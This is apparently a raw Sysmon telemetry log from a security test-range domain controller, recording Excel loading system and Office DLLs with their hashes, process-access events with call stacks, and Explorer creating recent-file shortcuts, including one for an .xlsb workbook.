(rs1_release_inmarket.180822-1743)DirectX Graphics InfrastructureMicrosoft® Windows® Operating SystemMicrosoft Corporationdxgi.dllMD5=3C32D763740C83DB2C44DEA4B6F18C54,SHA256=ED26DBB9C3656767CA25887CDC3B45CF978AFC75E064FF5457A36C7A69E55223,IMPHASH=83736A76214A92F5C1B53248D0C22863trueMicrosoft WindowsValid 10341000x800000000000000048646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.399{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+19ab3|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.399{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\winsta.dll10.0.14393.0 (rs1_release.160715-1616)Winstation LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationwinsta.dllMD5=12668CEFEE3754CFA61C5699821668B3,SHA256=D0C81619EDE8B846D98417989684EF16DF3A053CC049C7281E40F3359AD5B570,IMPHASH=2E790E44628AED89C2CC17E1E4A5CE1CtrueMicrosoft WindowsValid 734700x800000000000000048644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.383{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\msctf.dll10.0.14393.4530 (rs1_release.210705-0736)MSCTF Server DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMSCTF.DLLMD5=E2374A214A9F0C8347C29EBDE3447986,SHA256=F2260FE7E0C4E92D49CF0F550E2A1B3D3F1D2D76E6F5C8F16B0E16B6117D9EE1,IMPHASH=EB898F83C3A5D6877A523BC64B41CB06trueMicrosoft WindowsValid 10341000x800000000000000048643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.383{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.383{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.383{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 734700x800000000000000048640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.383{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\d2d1.dll10.0.14393.2969 (rs1_release.190503-1820)Microsoft D2D LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationd2d1MD5=E15A420D82314AF63973D7D0AB3BA2DD,SHA256=C264B2FA1F3E67E558E2671807C06270926EF456F4FF83F1F9859B18184F187E,IMPHASH=5F8C6AF7D0781F35A516AEB072DAD045trueMicrosoft WindowsValid 734700x800000000000000048639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.383{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\version.dll10.0.14393.0 (rs1_release.160715-1616)Version Checking and File Installation LibrariesMicrosoft® Windows® Operating SystemMicrosoft CorporationVERSION.DLLMD5=CFDB018AC09F879CAAE7A66CA7880D57,SHA256=6AB95FD0D142CFFC3B9455AF51F003E1CD75B7F4323820390B975F9E1C8A47A5,IMPHASH=9A7C66851249D4CED6C2C9096DCA243BtrueMicrosoft WindowsValid 734700x800000000000000048638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.352{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\MSO.DLL16.0.13801.20796Microsoft Office componentMicrosoft OfficeMicrosoft CorporationMSO.dllMD5=DEAB06C2DDF8959448455176D2A1754E,SHA256=49708B1D39D76B2E9F096B95BCB30B6601D3B5C8E1D84830740EC25FE8F38F39,IMPHASH=DC87D746554F9923D58AE75726FDD781trueMicrosoft CorporationValid 734700x800000000000000048637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.352{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\wtsapi32.dll10.0.14393.0 (rs1_release.160715-1616)Windows Remote Desktop Session Host Server SDK APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationwtsapi32.dllMD5=D0DB3DD09FB2B4ADABF4E719FAFC4EB9,SHA256=8B7C056B5F4AB604ED5077A39C63CE1B5A34929DE76DA4A3C54D6E648D123BAB,IMPHASH=AD7CEB919D43FA2BD394EC803EB6BCDAtrueMicrosoft WindowsValid 734700x800000000000000048636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.352{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000048635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.352{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Mso98win32client.dll16.0.13801.20808Microsoft Office componentMicrosoft OfficeMicrosoft CorporationMso98Win32Client.dllMD5=58F3352E3A0867817F759EA7940F2E10,SHA256=86AFDD63CFCA5B03D5265A2828F073CA401FE00B555B40AD9A0F7A193E200315,IMPHASH=5289CA73482DF21D2E2AC9AA34D2F601trueMicrosoft CorporationValid 734700x800000000000000048634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.336{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Mso50win32client.dll16.0.13801.20442Microsoft Office componentMicrosoft OfficeMicrosoft CorporationMso50Win32Client.dllMD5=AF5E26C38079AF31CCAA732B6A351A0D,SHA256=C0BBDC787DCD21EF78B89B6C18C81A1ECC8F5B4D3C4E2F412525FD70039E667D,IMPHASH=B977E4ADBD61DCC376AAB0975CD2F638trueMicrosoft CorporationValid 734700x800000000000000048633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.336{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.14393.4530_none_aec97a71ddd5fa56\GdiPlus.dll10.0.14393.4530 (rs1_release.210705-0736)Microsoft GDI+Microsoft® Windows® Operating SystemMicrosoft CorporationgdiplusMD5=D1F325FD8BA2F0AA9F853CB05DBDE6F6,SHA256=ED1FDCE716A2D5E0703DEBAE0E272BAA49C750B31773E9C0ADFCF5F9758F9350,IMPHASH=C221CE8D2F94949F49B7E7821DC2F0B6trueMicrosoft WindowsValid 734700x800000000000000048632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.336{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Mso40UIwin32client.dll16.0.13801.20840Microsoft Office componentMicrosoft OfficeMicrosoft Corporationmso40uiWin32Client.dllMD5=42CCB21CAB1B66AA9C7FF859A4BED97B,SHA256=76EFA67F0B7EA66DEAB42DB051DBCBA4B05EC04032B1D8AAE5E7761D7C6CA24F,IMPHASH=273D35E1E007F2806DAB768F774DC744trueMicrosoft CorporationValid 734700x800000000000000048631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.321{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\wevtapi.dll10.0.14393.3053 (rs1_release_inmarket.190612-1836)Eventing Consumption and Configuration APIMicrosoft® Windows® Operating SystemMicrosoft Corporationwevtapi.dllMD5=E0D1C6AC18800339A2EC1134A7C899ED,SHA256=E4340ACB47A202B1BFCE678C44BA5B0B171E388021B0B7D0CED19A55AD9712E1,IMPHASH=4CAFDD735088F52AC974373982DCCDF2trueMicrosoft WindowsValid 734700x800000000000000048630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.321{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Mso30win32client.dll16.0.13801.20840Microsoft Office componentMicrosoft OfficeMicrosoft CorporationMso30Win32Client.dllMD5=F4FDCEA65C429F01EEC45163F005B5E3,SHA256=F3FF96E7EBF9E4BB43170456395F09C1DAB832B1F66EBFAFF5EF54344DB929D5,IMPHASH=7BEECBC9CD81B0756278973CBEC196E8trueMicrosoft CorporationValid 734700x800000000000000048629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.321{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\ntasn1.dll10.0.14393.0 (rs1_release.160715-1616)Microsoft ASN.1 APIMicrosoft® Windows® Operating SystemMicrosoft Corporationntasn1.dllMD5=A45B23E8D2623CE3F760377766AF3E24,SHA256=E0A8F5055CD9E2AF029B8537E09EFFAF1F46C724CB720A6395DCF563EF70B843,IMPHASH=EAA4328F5E33714FA08C71E4AAE43CC1trueMicrosoft WindowsValid 734700x800000000000000048628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.321{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\ncrypt.dll10.0.14393.4046 (rs1_release.201028-1803)Windows NCrypt RouterMicrosoft® Windows® Operating SystemMicrosoft Corporationncrypt.dllMD5=025DBE9D0F7AE719C64DE3A4555A7C0A,SHA256=1A223828A444E7797A9E00632DAE81AC3AC68B38786E67912B1C3FC6118FB6B4,IMPHASH=B6A1A16A2B5E910045E998CD7709E966trueMicrosoft WindowsValid 734700x800000000000000048627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.321{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000048626Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.321{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\RstrtMgr.dll10.0.14393.2457 (rs1_release_inmarket.180822-1743)Restart ManagerMicrosoft® Windows® Operating SystemMicrosoft CorporationRstrtMgr.dllMD5=F14EA4521A8C000F1165581B5837355E,SHA256=6CB383C1FFB8AB7301B1666EEA83FD484EA049147C834725894652DB20D28359,IMPHASH=3F0B48C459533250EAC82BAC5B579450trueMicrosoft WindowsValid 734700x800000000000000048625Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.321{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000048624Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.321{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\msasn1.dll10.0.14393.0 (rs1_release.160715-1616)ASN.1 Runtime APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationmsasn1.dllMD5=299464D218A27B56684B715365D149FE,SHA256=2BFE4014E06552A9D4201EF9D1C605694AAF2B7B811265EFD91FC6D1C2D48242,IMPHASH=B6562243FBF394F03046E917C719260FtrueMicrosoft WindowsValid 734700x800000000000000048623Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.305{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\explorer.exeC:\Windows\System32\profext.dll10.0.14393.4583 (rs1_release.210730-1850)profextMicrosoft® Windows® Operating SystemMicrosoft Corporationprofext.dllMD5=F402119074C569D64BA30B880B3DC38B,SHA256=BEA12B6E785C9C2C805E7AE33B6161CFAE821BB09C92FF169A88FAAF2B113A89,IMPHASH=82DBC5DF78A34C977A610912E2732607trueMicrosoft WindowsValid 734700x800000000000000048622Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.305{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\crypt32.dll10.0.14393.4350 (rs1_release.210407-2154)Crypto API32Microsoft® Windows® Operating SystemMicrosoft CorporationCRYPT32.DLLMD5=95BA70CFA8087A209500D7D350BF3A59,SHA256=4265157E8DC2A0E32A6328D54181CC31FD24E3017E60B270623C2CDBE5FAB4FA,IMPHASH=5BAA515B293A764CA06512D078C4E624trueMicrosoft WindowsValid 734700x800000000000000048621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.305{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Windows\System32\cryptui.dll10.0.14393.3321 (rs1_release.191016-1811)Microsoft Trust UI ProviderMicrosoft® Windows® Operating SystemMicrosoft CorporationCRYPTUI.DLLMD5=7BA8C29986BA103E2353D405DCCB87D7,SHA256=E9FFD440B5318D65AC2A38125CC417C8F34C6344CA8D9251A8ABE74D14C518B8,IMPHASH=62620EF249FFBE3A3FFFCF86ECC0E8AFtrueMicrosoft WindowsValid 11241100x800000000000000048620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.305{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\Temp.lnk2021-09-10 14:58:03.305 734700x800000000000000048619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.305{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEC:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\Mso20win32client.dll16.0.13801.20840Microsoft Office componentMicrosoft OfficeMicrosoft CorporationMso20Win32Client.dllMD5=33E67D19ED73BD77FAB770F3677363E0,SHA256=3A7198AC7F995AE9FCA91372AFC3719C04417D638EE37EAA3162DE0A99F0F6B9,IMPHASH=F911175EE1A12AC6F98F49CC0BCBA406trueMicrosoft CorporationValid 734700x800000000000000048618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.274{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\explorer.exeC:\Windows\System32\dsclient.dll10.0.14393.0 (rs1_release.160715-1616)Data Sharing Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationdsclient.dllMD5=68B9D02A469519C6BFD9F39854EE8E62,SHA256=A7646650AB50D076DBBC6E9B767565DDA71B078814BC2071BA525F118B861883,IMPHASH=F148E4E0D3E37883A6CAB6CEE53CA685trueMicrosoft WindowsValid 10341000x800000000000000048617Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.290{7BD73061-6E00-613B-E006-00000000F001}59926952C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+498a3|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5206d|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5132f|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000048616Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.274{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\explorer.exeC:\Windows\System32\WpPortingLibrary.dll10.0.14393.0 (rs1_release.160715-1616)<d> DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWpPortingLibrary.dllMD5=9F86158107F4C4A954E1A1594A73E769,SHA256=8D797D0B92ACE4957EDC3380C06D54CC2912896248A2A68E86F83FA0B7A24136,IMPHASH=B4ACDC77E7BA866BD19676ABBA0D0B2FtrueMicrosoft WindowsValid 11241100x800000000000000048615Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.290{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\My documents for Chris.xlsb.lnk2021-09-10 14:58:03.290 734700x800000000000000048614Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.274{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\explorer.exeC:\Windows\System32\Windows.System.Launcher.dll10.0.14393.4169 (rs1_release.210107-1130)Windows.System.LauncherMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.System.Launcher.dllMD5=384379949D62C818AF52A5DE919A62FD,SHA256=21F85FFD4DD9A61088194F9A416ED1496EE781033D1A23E69893EAC583C72B68,IMPHASH=2FCCF9E601F23A043E51DA1E837A3065trueMicrosoft WindowsValid 10341000x800000000000000048613Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.274{7BD73061-6E00-613B-E006-00000000F001}59926952C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1438C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5eac4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+5fb06|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+178f5|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+1c0e4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+c696|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+b1eb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d60e|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d2f1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+95bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+13394|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+1c734|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8eda|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+892c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c 10341000x800000000000000048612Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.274{7BD73061-6E00-613B-E006-00000000F001}59926952C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+4177c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+18b13|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+18013|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+19af2|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+1c0bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+c696|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvSubsystemController.dll+b1eb|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d60e|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+2d2f1|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+95bf|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVOrchestration.dll+13394|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+1c734|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8eda|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+892c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac 10341000x800000000000000048611Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.274{7BD73061-6E00-613B-E006-00000000F001}59926952C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+8f4a|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+822c|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+775b|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000048610Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:03.274{7BD73061-6E00-613B-E006-00000000F001}59926952C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\ClickToRun\AppVIsvVirtualization.dll+7ae3|C:\Program Files\Common Files\Microsoft 